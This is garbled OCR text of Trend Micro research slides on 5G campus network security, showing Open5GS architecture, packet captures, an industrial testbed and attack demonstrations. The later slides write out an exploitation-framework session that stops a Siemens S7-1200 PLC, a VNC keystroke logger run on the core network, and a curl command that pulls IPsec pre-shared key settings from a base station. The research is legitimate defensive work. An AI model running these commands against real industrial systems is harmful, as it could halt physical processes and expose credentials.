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“Campus Networks are small, local networks dedicated to a set
geographical area." (Ericsson)
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Campus Network {EZEE49?! (1)

Fig. 1: Deployment as isolated network Fig. 2: Deployment with shared RAN

Source: 5G Alliance for Connected Industries and Automation
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Campus Network TEZEZE4E?! (2)

Fig. 3: Deployment with shared RAN and control plane

Fig. 4: NPN deployed in public network
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Source 5G Alliance for Connected Industrles and Automation
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Fig. 1: Deployment as isolated network
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Configuration Core network Control plane Data plane
AG/LTE 4Gz 48 AGEM & AGEME
5G FERB LA AGH% 48 AGEM & SGEME
5G B 448 5GC SGHEE SGEthE
HSS +
UDM
N10
S6a PCF -
N7 |
S5-C PGW-C
N4 ]
E;IJ"‘ lrgg\svjru L
S11 SGW
MME — AMF
S1-MN1/S1'U N3 N2
N1
E-UTRAN NG-RAN
[
UE UE
(p.37, 3GPP TS 23.501 v15.11.0)

Figure 4.3.1-1: Non-roaming architecture for interworking between 5GS and EPC/E-UTRAN
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OpenS5GS 4G/5G Control Plane Server

SBI Connections

N13 The Open5GS control plane contains components of a
K"‘ 4G/ 5G NSA Evolved Packet Core, and also network

functions to implement a 5G SA Core
/ @ . Subscriber Database || s
“& 1 (in MongoDB) =
H N12
IMS Servers can be connected
N10
Séa RGHH here to enable VoLTE support
Gx
| MME H SGW-¢ SMF (PGW-c) 7 AMF
s11 5 S5/8¢ : Open5GS 4G/5G Userplane Server
I i
: tnnnsnncnnns | cecsnccdedec e rcrc e m——-y
' Sxa - (IMS)
oy H
i i
S1-U S5/8u a
| \a | SGW-u | UPF N6
(PGW-u)
S1-MME S1-U N2 N3 |
SCTP: 36412 UDP: 2152 SCTP: 38412 UDP: 2152
X2-AP
SCTP: 36422
RRC 3 RRC CUPS userplane server can be co-located with the
= a \ K = control plane server, or deployed independantly
= PDCP 2 PDCP
> =]
= RLC 4G eNBs and 5G NSA gNBs = RLC
o MAC connect to the 4G MME g MAC
PHY 2 PHY
Front Haul Front Haul
5G SA gNBs connect
= on | to the 5G AMF = [ o ] Source: https://open5gs.org

/open5gs/docs/guide/01-quickstart/

4G/ 5G NSA » 5G SA
9 © 2Air Interface l Air Interface l
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[ NON J M rv50x.pcap
& amsieomNRO Qes=z=g s ]E Qaaaql
[I slap '] Expression.. |+
No. Time Source Destination Protocol Lengtt Info
‘\ - 62 8.042215772 192.168.43.2 192.168.2.12 S1AP/NAS-EPS 130 UplinkNASTransport, Detach request (Combined EPS/IMSI detach / switch-off)
70 8.050101877 192.168.2.12 192.168.43.2 S1AP 102 UEContextReleaseCommand [NAS-cause=detach]
71 8.069682164 192.168.43.2 192.168.2.12 S1AP 98 UEContextReleaseComplete
317 51.661699708 192.168.43.2 192.168.2.12 S1AP/NAS-EPS 218 InitialUEMessage, Attach request, PDN connectivity request
318 51.664907507 192.168.2.12 192.168.43.2 S1AP/NAS-EPS 114 DownlinkNASTransport, ESM information request
320 51.691493040 192.168.43.2 192.168.2.12 S1AP/NAS-EPS 146 UplinkNASTransport, ESM information response
329 51.753860745 192.168.2.12 192.168.43.2 S1AP/NAS-EPS 790 InitialContextSetupRequest, Attach accept, Activate default EPS bearer cor
330 51.831193108 192.168.43.2 192.168.2.12 S1AP 118 InitialContextSetupResponse
331 51.851598016 192.168.43.2 192.168.2.12 S1AP/NAS-EPS 122 UplinkNASTransport, Attach complete, Activate default EPS bearer context &
333 51.855278358 192.168.2.12 192.168.43.2 S1AP/NAS-EPS 126 DownlinkNASTransport, EMM information
.000 .... = NAS key set identitier: (0)
«ess 0... = Spare bit(s): 0x00
«... .010 = EPS attach type: Combined EPS/IMSI attach (2)
v EPS mobile identity
Length: 11
vess O... = 0dd/even indication: Even number of identity digits
vees 2110 = Type of identity: GUTI (6)
Mobile Country Code (MCC): Unknown (1)
Mobile Network Code (MNC): Unknown (01)
MME Group ID: 2
MME Code: 1
M-TMSI: 0xc0001641
w HE natunrlk ranashilitu
0030 00 aa b8 c7 36 c0 00 01 00 06 00 00 00 12 00 Oc coeeBere ooeo. B
0040 40 80 95 00 00 06 00 08 00 03 40 Sb 00 00 1a 00 @::-:::- - (] SRR
0050 61 60 17 €9 ad b3 db @b @07 41 02 @b f6 00 f1 10 a ------ - Aevecee
0060 00 02 01 c0 00 16 41 05 f0O 70 c0O 40 10 00 27 02 ------A- :p:@--'"
0070 01 do 11 dl1 27 20 80 80 21 10 01 00 00 10 81 06  -:-:"' -+ lee.e.nn
0080 00 00 00 00 83 06 00 00 00 00 00 Od 00 00 0a 00 - :::::v: ereeeen
| Frame (218 bytes) | Bitstring tvb (4 bytes)
O 7 st Application Protocol (s1ap), 154 bytes © Packets: 1571 - Displayed: 10 (0.6%) ©  Profile: Default
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OpenS5GS 4G/5G Control Plane Server

SBI Connections
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N13 The Open5GS control plane contains components of a
K"‘ 4G/ 5G NSA Evolved Packet Core, and also network
functions to implement a 5G SA Core

@ . Subscriber Database || s
1 (in MongoDB) =

N12
IMS Servers can be connected
N10
Séa RGHH here to enable VoLTE support
Gx
| MME H SGW-¢ SMF (PGW-c) 7 AMF
s11 5 S5/8¢ : Open5GS 4G/5G Userplane Server
1
- 1
H - o ] -
' Sxa - (IMS)
sy H
: i
S1-U S5/8u a
| \a | SGW-u | UPF N6
(PGW-u)
S1-MME S1-U N2 N3 |
SCTP: 36412 UDP: 2152 SCTP: 38412 UDP: 2152
X2-AP
SCTP: 36422
3 CUPS userplane server can be co-located with the
RRC T RRC 2
= \ = control plane server, or deployed independantly
= PDCP 2 PDCP
> =]
= RLC 4G eNBs and 5G NSA gNBs = RLC
o MAC connect to the 4G MME g MAC
PHY 2 PHY
Front Haul Front Haul
5G SA gNBs connect
= on | to the 5G AMF = [ o ] Source: https://open5gs.org

/open5gs/docs/guide/01-quickstart/

4G/ 5G NSA » 5G SA
11 © 2Air Interface l Air Interface l
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[ NON | M ~v50x.pcap
& ldamieom R QesEg 8= aqarl
[I gtp 'J Expression... +
No. Time Source Destination Protocol Lengtt Info
- 398 60.250221007 192.168.100.3 13.227.75.54 GTP <TCP> 98 33198 - 80 [SYN] Seq=0 Win=46080 Len=0 MSS=1360 WS=1 |
401 60.378177490 13.227.75.54 192.168.100.3 GTP <TCP> 98 80 - 33198 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1450 WS=256
402 60.400484403 192.168.100.3 13.227.75.54 GTP <TCP> 90 33198 - 80 [ACK] Seq=1 Ack=1 Win=46080 Len=0
{» 404 60.409215246 192.168.100.3 13.227.75.54 GTP <HTTP> 234 GET /xtra3grc.bin HTTP/1.1 =
408 60.537363445 13.227.75.54 192.168.100.3 GTP <TCP> 90 80 - 33198 [ACK] Seq=1 Ack=145 Win=66816 Len=0 —
418 60.592438082 13.227.75.54 192.168.100.3 GTP <TCP> 1450 80 - 33198 [ACK] Seq=1 Ack=145 Win=66816 Len=1360 [TCP segment of a ——
419 60.592484225 13.227.75.54 192.168.100.3 GTP <TCP> 1450 80 - 33198 [PSH, ACK] Seq=1361 Ack=145 Win=66816 Len=1360 [TCP segmc —
420 60.592493441 13.227.75.54 192.168.100.3 GTP <TCP> 1450 80 - 33198 [ACK] Seq=2721 Ack=145 Win=66816 Len=1360 [TCP segment o;
421 60.592533670 13.227.75.54 192.168.100.3 GTP <TCP> 1450 80 - 33198 [PSH, ACK] Seq=4081 Ack=145 Win=66816 Len=1360 [TCP segm
422 60.592601432 13.227.75.54 192.168.100.3 GTP <TCP> 1450 80 - 33198 [ACK] Seq=5441 Ack=145 Win=66816 Len=1360 [TCP segment o
423 ANA.502A235AR 13.227.75.54 192.168.100.3 GTP <TCP> 1454 RA - 33108 [PSH. ACK] Sen=ARA1 Ack=145 Win=AAR1A | An=13AA [TCP ceament nf

» Internet Protocol Version 4, Src: 192.168.100.3, Dst: 13.227.75.54
» Transmission Control Protocol, Src Port: 33198, Dst Port: 80, Seq: 1, Ack: 1, Len: 144
v GET /xtra3grc.bin HTTP/1.1\r\n
v [Expert Info (Chat/Sequence): GET /xtra3grc.bin HTTP/1.1\r\n]
[GET /xtra3grc.bin HTTP/1.1\r\n]
[Severity level: Chat]
[Group: Sequence]
Request Method: GET
Request URI: /xtra3grc.bin
Request Version: HTTP/1.1

Host: xtrapathl.izatcloud.net\r\n

llear—Anant n7 22 N2 AA/Cioarras Wiralace

0050
0060
0070
0080
0090
0020
00b0
00co

O

Hypertext Transfer Protocol (http), 144 bytes

6
72
31
61
65
51
2e
72

00
72
0a
2e
55
49
30
73

n/curTavanc

06
2e
6f
7a
65
58
2f
2c

00
69
74
74
2d
30
69
49

47
6e
3a
63
41
43
65
6e

20
54
74
75
6e
32
61
72

2f
54
72
64
74
2e
20
70

20 50

Tnearnaratoad /IMCTAIR /MDMOI2AA/\ r\ n

tra3grc. bin HTTP

/1.1: -Ho
pathl.iz
net- -Use

Q/SWI9X 30C_02.3
3.03.00/
ireless,

- GET /x

st: xtra
atcloud.
r-Agent:

Sierra W
Incorpo

© Packets: 1571 - Displayed: 205 (13.0%)

o Profile: Default
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OAM (Operations Administration and Management)

Orchestration
KVM / K8s

Tracing

Logging
BMC

© 2021 Trend Micro Inc.
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ETSI e, S 3GPP_
| VNF | | oms | MDAS/MDAF : FCAPS
sy il > T <

i

L

O-cloud
manangement

Integration fabric
and data service

=EAHIZEOAM Near RT RIC E4H9RAN OAM

(mm——— ey . 3GPPEN
e ORAN;&H&{#F

3GPPIREEN 3GPP ZEEH v

O-RAN{E RN ELfthiF ORANZESH ] é?&';@fﬁ

Source: CSDN 3K 7k #ERIFER T 15
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192.168.2.xx Inside core network
192.168.51.xx Control Network

Business 192.168.52.xx Field Network

192.168.53.xx Management Network

192.168.100.xx Cellular IP Space

|
J
L -4 5

MQTT Server ~
Industrial
(External) DMZ
Anacker Foothold
192.168.2.41

1—] (D)

%D s

192.168.51.30 192.168
(Host) (Host)

‘_
|
] |
@ i [ e oo 4B B

Historian Historian Clent EWS (TIA) HMI (VTScada) MQTT Server
192.168.51.101 (VM) 192.168.51.102 (VM) 192.168.51.103 (VM) 192.168.51.104 (VM) (Internal)
192.168.51.31:1883

53.3

192.168.51.31

192.168.53.1 (Host)

192.168.100.52 (‘I’)
T) 192.168.52.1

RVpOx ModBus

DNP3 MaTT
OpenPLC #2

192.168.100.114

192.168.53.114

) IR 154 %
HMI OpenPLC #1 Moxa S7-1200v3  S7-1200v1 UL

(VTScada/Panel)  192.168.52.102 192.168.52.103 192.168.52.104 192.168.52.105
192.168.52.101
192.168.53.4

15 © 2021 Trend Micro Inc.
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MBI RS

5G &t A (EERA)
Sysmocom SIM &
CPE TXAIRHHR
SIM-7000 LTE hat
Generic servers
Generic routers
Ethernet cables

10 SMA cables

16 | © 2021 Trend Micro Inc.
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E#% (£57x)
1,500

~3,750
30,000
68 €
840

60

400

Enclose electromagnetic waves to comply with local regulations.

IF X WLTGFC-105

Amarisoft gNB

Pack of 10 programmable SIM cards [ff ADM Key
Sierra Wireless RV50x

LTE hat for Raspberry Pi, which runs OpenPLC
Spare ones with 32GB RAM and 1TB HDD

Spare CISCO 3650 and CISCO 2960

Spare cables

EETEEERE



CPE

© 2021 Trend Micro Inc.

x/ e | o

ndustial Eist Conhol

Router " Network Notwor?
B =

© mEl TG f

\)j

i

Y

%10 1 i

20 1) A I

RIG S

==
-0
om
2 Z
0O



P \ A
< B8 @y 1ReND
. BEERE -EEAE

- RHRBEN —X

- [P/ #EREDE

- JEfUFEEE / CPE

» PLC YRR
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SI-U
(2152UDP) .
eNB — e — S T —
SIAP = S
192.168.43.2 (36412/SCTP) - (880$5’/‘GDP) SGW-U S5/8u
i (2123/UDP) SGW-C ik 192.168.2.16 __(2152/UDP)
S6a 192.168.2.15 S5/8¢ UPF(PGW.U
(3868/SCTP) et o (2123/UDP) o 9 TR 1s
e - (29118/SCTP) (8805/UDP) 168.2.
g R i, SMF(PGW-C)
- SBI = SGsAP 192.168.2.14
HSS (7777/TCP) 1921;15;‘2 - 192.168.2.1 5
192.168.2.11 pEo— 168.2. e
MongoDB Gx ™ b
(27017/TCP) 192.168.2.31 (3868/SCTP) _ - - ~
PCRF S
192:1682:13 /== —cicic ol il LR
Network Topology
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USB3
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77 RUSBX_1103045

G000S

7= GAIEWAY LTE HOPA+ ETHERNET APAC

TR 52

2 i = B4 Sierra Wireless

RV50 # RV50x T.T
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L2 Siemens S7-1200
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Sat, 01/11/2020

7, Enter message .

3,

& C

g = © <« B v
0880800000
AEBAGABGOR
AAGOAEGHOD
BEBnGHES
EDEEIR00
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(py2) dalice@core-network:~/isf$ python isf.py

S G |
\ DO {

D Ll |

ICS Exploitation Framework

Note : ICSSPOLIT is fork from routersploit at
https://github.com/reverse-shell/routersploit

Dev Team : wenzhe zhu(dark-1bp)

Version : 0.1.0

Exploits: 8 Scanners: 6 Creds: 14

ICS Exploits:
PLC: 7 ICS Switch: 0
Software: @

isf > use exploits/plcs/siemens/s7_1200_plc_control
isf (5§7-1200 PLC Control) > set target 192.168.100.52
[+] {"target': '192.168.100.52'}

isf (S7-1200 PLC Control) > set command 1

[+] {"conmand': '1'}

isf (S7-1200 PLC Control) > run

[*] Running module...

[+] Target is alive

[*] Sending packet to target

[*] Stop plc
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MT. DNP3 Test o || e || &

©e scadalicHT Page Menu

Recent Pages

Overview

(py2) root@openSgs:~# python vnclogger.py @A\
listening on ogstun: port 5900

1612864949.11: vnc connection established (
Tue Feb 2021: <lshift>

Tue Feb 2021: F

Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:
Tue Feb 2021:

Alarms, Reports & Diagnostics Remote Sites Sample Pages

3IIITIIITTIISSY
T et hA Tt hAHITITRN~
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alice@core-network:~$ curl 'https://192.168.43.2/cgi-bin/ipsec_cfg’' -H 'Origin: https://192.168.43.2' -H 'Referer: https://19
2.168.43.2/ipsec_cfg.html' --data-raw ‘action=get' -k

{"ipsecen":1,"segwip":"10.102. S , "authby" :0, "keystatus":"Invalid","leftidsrc":1,"leftid":C=TW, ST=Taiwan, L=Hsinchu, O=g
emtek, OU=NOUSSNREN  CN=ww .l com.tw, E= .com,"rightidsrc":1,"rightid":C=TW, ST=Taiwan, L=Hsinchu, O=g
emtek, OU={Uouwmene, CN=ww.GEE®.com.tw, E N M "presharekey”: " , 'rightsubnet”:"10.102 4y 24

, caissuer”:"Invalid","casubject"”:"Invalid","clientissuer"”:"Invalid","clientsubject”:"Invalid"}

IPSec PSK

27 © 2021 Trend Micro Inc.
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